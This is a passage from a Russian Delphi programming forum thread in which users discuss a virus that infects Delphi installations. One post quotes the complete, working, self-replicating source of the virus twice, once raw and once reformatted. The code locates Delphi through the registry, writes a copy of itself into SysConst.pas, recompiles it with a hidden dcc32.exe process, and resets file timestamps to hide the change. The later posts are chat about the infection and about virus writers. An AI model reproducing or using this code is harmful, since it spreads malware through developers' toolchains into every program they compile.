Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 15.05.2010, 06:56   #201
Alex Cones
Trust no one.
Старожил
 
Аватар для Alex Cones
 
Регистрация: 07.04.2009
Сообщений: 6,526
По умолчанию

Цитата:
в нем нет ни одного комментария.
С чего вдруг в вирусе должны быть комментарии?

И нормально в нем все в разделе Var:
Код:
var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS _INFORMATION;b:boolean;t1,t2,t3:FIL ETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0 ,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+ }MoveFile(pchar(d+$dcu$),pchar(d+$b ak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.' ,
'wShowWindow:=SW_HIDE;b:=CreateProc ess(nil,pchar(e+$"$+d+$pas"$),0,0,f alse,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFI NITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d +$pas$));h:=CreateFile(pchar(d+$bak $),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0, 3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software \Borland\Delphi\$+v+$.0$),0,KEY_REA D,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i, @c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\S ysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\ bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

||
\/

var 
 sc:array[1..24] of string=
('
uses 
 windows; 
var 
 sc:array[1..24] of string=
(',
'function x(s:string):string;
var 
 i:integer;
begin 
 for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;
 result:=s;
end;

procedure re(s,d,e:string);
var f1,f2:textfile;',
'h:cardinal;
f:STARTUPINFO;
p:PROCESS _INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0 ,3,0,0);
if h<>DWORD(-1) then begin CloseHandle','(h);
exit;
end;
{$I-}
assignfile(f1,s);
reset(f1);
if ioresult<>0 then exit;
assignfile','(f2,d+$pas$);
rewrite(f2);
if ioresult<>0 then 
begin 
closefile(f1);
exit;
end; 
while','not eof(f1) do 
begin 
readln(f1,s); 
writeln(f2,s); 
if pos($implementation$,s)<>0','then break;
end;
for h:= 1 to 1 do 
writeln(f2,sc[h]);
for h:= 1 to 23 
do writeln(f2',',$$$$+sc[h],$$$,$);
writeln(f2,$$$$+sc[24]+$$$);$);
for h:= 2 to 24 do 
writeln(f2,','x(sc[h]));
closefile(f1);
closefile(f2);
{$I+ }
MoveFile(pchar(d+$dcu$),
pchar(d+$b ak$',')); 
fillchar(f,sizeof(f),0); 
f.cb:=sizeof(f); 
f.dwFlags:=STARTF_USESHOWWINDOW;
f.' ,'wShowWindow:=SW_HIDE;
b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,f alse,0,0,0,','f,p);
if b then WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+$bak$),','pchar(d+$dcu$));
DeleteFile(pchar(d +$pas$));
h:=CreateFile(pchar(d+$bak $),0,0,0,3,','0,0); 
if h=DWORD(-1) then exit;  
GetFileTime(h,@t1,@t2,@t3); 
CloseHandle(h);h:=','CreateFile(pchar(d+$dcu$),256,0,0, 3,0,0);
if h=DWORD(-1) then exit;
SetFileTime(h,','@t1,@t2,@t3); 
CloseHandle(h); 
end; 
procedure st; 
var 
k:HKEY;
c:array [1..255] of','char; 
i:cardinal; 
r:string; 
v:char; 
begin 
for v:=$4$ to $7$ do if RegOpenKeyEx(','HKEY_LOCAL_MACHINE,pchar($Software \Borland\Delphi\$+v+$.0$),0,KEY_REA D,k)=0 then',
'begin i:=255;
if RegQueryValueEx(k,$RootDir$,nil,@i, @c,@i)=0 then 
begin 
r:=$$;
i:=','1; 
while c[i]<>#0 do 
begin 
r:=r+c[i];
inc(i);
end;
re(r+$\source\rtl\sys\S ysConst$+','$.pas$,r+$\lib\sysconst.$,$"$+r+$\ bin\dcc32.exe" $);
end;
RegCloseKey(k);
end; 
end;',
'begin st; 
end.');
Я понял, почему Вы не можете понять. Возможно вы не знаете, что
Код:
Const
A = 'blablabla';
Можно записать как
Код:
Var
A : String = 'blablabla';
Будет чуть, чуть другое, но тоже прохляет.
SQUARY PROJECT - НАБОР БЕСПЛАТНЫХ ПРОГРАММ ДЛЯ РАБОЧЕГО СТОЛА.
МОЙ БЛОГ
GRAY FUR FRAMEWORK - УДОБНАЯ И БЫСТРАЯ РАЗРАБОТКА WINAPI ПРИЛОЖЕНИЙ

Последний раз редактировалось Alex Cones; 15.05.2010 в 06:59.
Alex Cones вне форума Ответить с цитированием
Старый 15.05.2010, 11:02   #202
bitSoft
Programming...
Форумчанин
 
Аватар для bitSoft
 
Регистрация: 13.03.2010
Сообщений: 198
По умолчанию

а я согласен с Алех на 100%
етот код бил декомпилирован , с чего в друг комментарии, так в разделе var где
Код:
var sc:array[1..24] of string=('u ......
, эдесь проста написан код оригиналиного фаила..
P.S извините эа транслит...
Код:
With TProgrammersForum.Create do  AddNewTopic('Title','Content...');
bitSoft вне форума Ответить с цитированием
Старый 16.05.2010, 07:32   #203
docbrain
Заблокирован
 
Регистрация: 14.01.2010
Сообщений: 306
По умолчанию

Интернет блин, в своем репертуаре. Тупо копипастит материалы, не озабочиваясь даже их минимальным осмыслением.
docbrain вне форума Ответить с цитированием
Старый 18.05.2010, 02:58   #204
Negodjaev
Новичок
Джуниор
 
Регистрация: 18.05.2010
Сообщений: 23
По умолчанию Прошу прощения, что не в тему...

Если есть, настоящие программисты гляньте тему и подскажите…
Форум программистов > Клуб программистов > Обсуждение программ >
Народ есть кто понимает в программировании…. Возможно не сразу но отвечу всем….
Negodjaev вне форума Ответить с цитированием
Старый 19.05.2010, 20:30   #205
CraftR14
Все к лучшему...
Форумчанин
 
Регистрация: 06.04.2010
Сообщений: 112
По умолчанию

Вот и я заразилсо индюшкой )))))
Замочил сразу)
CraftR14 вне форума Ответить с цитированием
Старый 19.05.2010, 20:55   #206
Пепел Феникса
Старожил
 
Аватар для Пепел Феникса
 
Регистрация: 28.01.2009
Сообщений: 21,000
По умолчанию

docbrain, блин, да кто копипастит?
это вирус, просто его код на Делфи а не сорцы именно, он мог быть вообще написан через асм бинарник, и придерись тут.
Хорошо поставленный вопрос это уже половина ответа. | Каков вопрос, таков ответ.
Программа делает то что написал программист, а не то что он хотел.
Функции/утилиты ждут в параметрах то что им надо, а не то что вы хотите.
Пепел Феникса вне форума Ответить с цитированием
Старый 31.05.2010, 09:35   #207
Object Kiri
Пользователь
 
Регистрация: 31.05.2010
Сообщений: 20
По умолчанию

Вирусы пишут те, кто не в состоянии написать нормальную программу.
Object Kiri вне форума Ответить с цитированием
Старый 31.05.2010, 11:49   #208
bitSoft
Programming...
Форумчанин
 
Аватар для bitSoft
 
Регистрация: 13.03.2010
Сообщений: 198
По умолчанию

Цитата:
Сообщение от Object Kiri Посмотреть сообщение
Вирусы пишут те, кто не в состоянии написать нормальную программу.


soglasen na vse sto,
pishut i te katorie sidit 24/24 na komputere i neznaet shto takoe narmalinoe jizni, i shto takoe biti haroshii.
Код:
With TProgrammersForum.Create do  AddNewTopic('Title','Content...');
bitSoft вне форума Ответить с цитированием
Старый 01.06.2010, 01:51   #209
Пепел Феникса
Старожил
 
Аватар для Пепел Феникса
 
Регистрация: 28.01.2009
Сообщений: 21,000
По умолчанию

Цитата:
Сообщение от Object Kiri Посмотреть сообщение
Вирусы пишут те, кто не в состоянии написать нормальную программу.
не согласен, не думайте что норм вирус это так просто
Хорошо поставленный вопрос это уже половина ответа. | Каков вопрос, таков ответ.
Программа делает то что написал программист, а не то что он хотел.
Функции/утилиты ждут в параметрах то что им надо, а не то что вы хотите.
Пепел Феникса вне форума Ответить с цитированием
Старый 01.06.2010, 07:51   #210
Roof
Форумчанин
 
Аватар для Roof
 
Регистрация: 01.02.2007
Сообщений: 785
По умолчанию

Сегодня утром писал программку на форум и был удивлен радостному сообщению моего антивируса (COMODO)



Данное сообщение антивируса появляется при компиляции и запуске проекта и в данном случае только при использовании Rewrite и Writeln в процедуре TForm2.Button2Click(Sender: TObject);(в любой подобной процедуре)

если же Rewrite и Writeln закомментировать - компилируется и запускается нормально.
Просматривал SysConst.pas по руководствам в интернете - ничего похожего на "тот вирус" не обнаружил у себя.
Я так и не разобрался, что за новости такие, и как от них избавляться.
Изо всей благодати
В руках крепко сжатых
Я донесу только капли

Последний раз редактировалось Roof; 01.06.2010 в 07:55.
Roof вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Реально ли написать на Delphi 7 свою библиотеку для Apache (PHP интерпр.) ? FLEX_NST PHP 1 05.07.2009 18:13
Проверьте правильность написания кода в delphi neomaximus Помощь студентам 2 09.04.2009 17:29
Please!!! Проверьте код по Delphi!!! Dmitriy-e-nest Помощь студентам 2 16.01.2009 15:41
Avast поднимает тревогу на создаваемые в delphi программы, пишет вирус Xemulb Софт 3 27.11.2008 21:37